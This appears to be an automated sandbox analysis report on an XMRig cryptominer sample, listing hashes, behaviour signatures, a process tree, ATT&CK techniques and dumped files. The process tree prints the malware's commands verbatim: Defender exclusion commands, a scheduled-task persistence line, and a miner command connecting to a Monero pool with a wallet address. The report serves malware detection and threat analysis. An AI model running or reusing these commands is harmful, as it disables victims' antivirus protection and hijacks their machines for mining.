Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 07:24

General

  • Target

    918a866f41a7885284135f4fcd66c080.exe

  • Size

    2.1MB

  • MD5

    918a866f41a7885284135f4fcd66c080

  • SHA1

    8bc703d4ec0a8b66ede518c0df2074e75f7b0204

  • SHA256

    b41c29b2db195c563b7f2bfee83f341700b53bfb0827a847a1918496ec9c4e5b

  • SHA512

    2c42377873b2cd791b100c89f37b0185ae2ff6dd7e283cf2aedf2cdd7a4fab1a355b71193d0be8cc0cc79b781a9ca1fbdc43c83de33ec70bdf942a6da64b3575

  • SSDEEP

    49152:c5M1AHcWUr7Oe6ffETtcdR045tFs8iV6a1k8:asUcWUr7OeWfEadR0SDs83ek

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\918a866f41a7885284135f4fcd66c080.exe
    "C:\Users\Admin\AppData\Local\Temp\918a866f41a7885284135f4fcd66c080.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5092
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9E87.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3480
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4960
      • C:\ProgramData\template\SLNYW.exe
        "C:\ProgramData\template\SLNYW.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1644
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4744
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:2440
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3804
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1644 -s 3748
          4⤵
          • Program crash
          PID:1832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4956
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 408 -p 1644 -ip 1644
    1⤵
      PID:4324

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scripting

    1
    T1064

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Scripting

    1
    T1064

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\template\SLNYW.exe
      Filesize

      2.1MB

      MD5

      918a866f41a7885284135f4fcd66c080

      SHA1

      8bc703d4ec0a8b66ede518c0df2074e75f7b0204

      SHA256

      b41c29b2db195c563b7f2bfee83f341700b53bfb0827a847a1918496ec9c4e5b

      SHA512

      2c42377873b2cd791b100c89f37b0185ae2ff6dd7e283cf2aedf2cdd7a4fab1a355b71193d0be8cc0cc79b781a9ca1fbdc43c83de33ec70bdf942a6da64b3575

    • C:\ProgramData\template\SLNYW.exe
      Filesize

      2.1MB

      MD5

      918a866f41a7885284135f4fcd66c080

      SHA1

      8bc703d4ec0a8b66ede518c0df2074e75f7b0204

      SHA256

      b41c29b2db195c563b7f2bfee83f341700b53bfb0827a847a1918496ec9c4e5b

      SHA512

      2c42377873b2cd791b100c89f37b0185ae2ff6dd7e283cf2aedf2cdd7a4fab1a355b71193d0be8cc0cc79b781a9ca1fbdc43c83de33ec70bdf942a6da64b3575

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      e3b6cc0fbea08a0831f0026a696db8b8

      SHA1

      4e32202d4700061cfd80d55e42798131c9f530d4

      SHA256

      3284cae7b82be99d93064390ba071ba4321f3f24dd21515b37b2ca9f31b2e8d5

      SHA512

      6a06856f360b48c8bc8a15ffb8d7a6604ec357bcb1d0fad5d71a2cb876929a7b67eb40ba4493998ab1bbae8cb71212e124276f27d5c138a135041c27a41a0b7a

    • C:\Users\Admin\AppData\Local\Temp\tmp9E87.tmp.bat
      Filesize

      142B

      MD5

      d4a58d595247024e288d21c976ed811c

      SHA1

      4e372a96cfd5017a374b879a92cf337f2badce2d

      SHA256

      2dca88023b6cd8a46332ea2f3a05d6f543c07a8806664ef8d7cc47e1627236d0

      SHA512

      ae901552bf015c082ccb294e17188072efdf2b1123e1db755e6895365468134fe22681133c4c0f9fb525d8a2f6912f36ad41471a69f5dbe087f73071248c061e

    • memory/1076-177-0x0000000000000000-mapping.dmp
    • memory/1644-188-0x00007FF831DC0000-0x00007FF831E2B000-memory.dmp
      Filesize

      428KB

    • memory/1644-193-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/1644-185-0x00007FF80ED70000-0x00007FF80EDA5000-memory.dmp
      Filesize

      212KB

    • memory/1644-186-0x00007FF80EDB0000-0x00007FF80EEB2000-memory.dmp
      Filesize

      1.0MB

    • memory/1644-178-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/1644-190-0x00007FF82F700000-0x00007FF82F73B000-memory.dmp
      Filesize

      236KB

    • memory/1644-191-0x0000000000340000-0x0000000000668000-memory.dmp
      Filesize

      3.2MB

    • memory/1644-174-0x00007FF816060000-0x00007FF8161AE000-memory.dmp
      Filesize

      1.3MB

    • memory/1644-192-0x0000000001000000-0x0000000001041000-memory.dmp
      Filesize

      260KB

    • memory/1644-203-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/1644-202-0x0000000000340000-0x0000000000668000-memory.dmp
      Filesize

      3.2MB

    • memory/1644-201-0x00007FF815930000-0x00007FF815A9A000-memory.dmp
      Filesize

      1.4MB

    • memory/1644-173-0x0000000000340000-0x0000000000668000-memory.dmp
      Filesize

      3.2MB

    • memory/1644-172-0x00007FF832BA0000-0x00007FF832BCB000-memory.dmp
      Filesize

      172KB

    • memory/1644-170-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/1644-171-0x0000000001000000-0x0000000001041000-memory.dmp
      Filesize

      260KB

    • memory/1644-169-0x0000000000340000-0x0000000000668000-memory.dmp
      Filesize

      3.2MB

    • memory/1644-168-0x00007FF831340000-0x00007FF8314E1000-memory.dmp
      Filesize

      1.6MB

    • memory/1644-167-0x00007FF8161B0000-0x00007FF81626D000-memory.dmp
      Filesize

      756KB

    • memory/1644-160-0x0000000000000000-mapping.dmp
    • memory/1644-166-0x00007FF82E250000-0x00007FF82E262000-memory.dmp
      Filesize

      72KB

    • memory/1644-184-0x00007FF830A70000-0x00007FF830A97000-memory.dmp
      Filesize

      156KB

    • memory/1644-164-0x00007FF816270000-0x00007FF81631A000-memory.dmp
      Filesize

      680KB

    • memory/1644-165-0x00007FF831170000-0x00007FF83120E000-memory.dmp
      Filesize

      632KB

    • memory/2052-175-0x0000000000000000-mapping.dmp
    • memory/2052-180-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/2052-189-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/2440-181-0x0000000000000000-mapping.dmp
    • memory/3480-147-0x0000000000000000-mapping.dmp
    • memory/3804-204-0x0000022914E30000-0x0000022914E70000-memory.dmp
      Filesize

      256KB

    • memory/3804-199-0x0000000140000000-0x00000001407C9000-memory.dmp
      Filesize

      7.8MB

    • memory/3804-200-0x0000000140000000-0x00000001407C9000-memory.dmp
      Filesize

      7.8MB

    • memory/3804-194-0x0000000140000000-0x00000001407C9000-memory.dmp
      Filesize

      7.8MB

    • memory/3804-205-0x0000022914E70000-0x0000022914E90000-memory.dmp
      Filesize

      128KB

    • memory/3804-197-0x0000000140000000-0x00000001407C9000-memory.dmp
      Filesize

      7.8MB

    • memory/3804-198-0x0000022913470000-0x0000022913490000-memory.dmp
      Filesize

      128KB

    • memory/3804-206-0x0000022914E90000-0x0000022914EB0000-memory.dmp
      Filesize

      128KB

    • memory/3804-207-0x0000022914E70000-0x0000022914E90000-memory.dmp
      Filesize

      128KB

    • memory/3804-196-0x0000000140000000-0x00000001407C9000-memory.dmp
      Filesize

      7.8MB

    • memory/3804-195-0x0000000140343234-mapping.dmp
    • memory/3804-208-0x0000022914E90000-0x0000022914EB0000-memory.dmp
      Filesize

      128KB

    • memory/4540-141-0x00007FF832BA0000-0x00007FF832BCB000-memory.dmp
      Filesize

      172KB

    • memory/4540-139-0x0000000000540000-0x0000000000868000-memory.dmp
      Filesize

      3.2MB

    • memory/4540-143-0x00007FF816110000-0x00007FF81625E000-memory.dmp
      Filesize

      1.3MB

    • memory/4540-135-0x00007FF82E250000-0x00007FF82E262000-memory.dmp
      Filesize

      72KB

    • memory/4540-134-0x00007FF831170000-0x00007FF83120E000-memory.dmp
      Filesize

      632KB

    • memory/4540-133-0x00007FF824010000-0x00007FF8240BA000-memory.dmp
      Filesize

      680KB

    • memory/4540-136-0x00007FF816260000-0x00007FF81631D000-memory.dmp
      Filesize

      756KB

    • memory/4540-150-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/4540-142-0x0000000000540000-0x0000000000868000-memory.dmp
      Filesize

      3.2MB

    • memory/4540-148-0x0000000000540000-0x0000000000868000-memory.dmp
      Filesize

      3.2MB

    • memory/4540-137-0x00007FF831340000-0x00007FF8314E1000-memory.dmp
      Filesize

      1.6MB

    • memory/4540-140-0x0000000001080000-0x00000000010C1000-memory.dmp
      Filesize

      260KB

    • memory/4540-144-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/4540-149-0x0000000001080000-0x00000000010C1000-memory.dmp
      Filesize

      260KB

    • memory/4540-138-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/4744-176-0x0000000000000000-mapping.dmp
    • memory/4744-183-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/4744-182-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/4956-153-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/4956-146-0x0000000000000000-mapping.dmp
    • memory/4956-159-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/4960-155-0x0000000000000000-mapping.dmp
    • memory/5092-152-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/5092-151-0x00000146E66C0000-0x00000146E66E2000-memory.dmp
      Filesize

      136KB

    • memory/5092-156-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp
      Filesize

      10.8MB

    • memory/5092-145-0x0000000000000000-mapping.dmp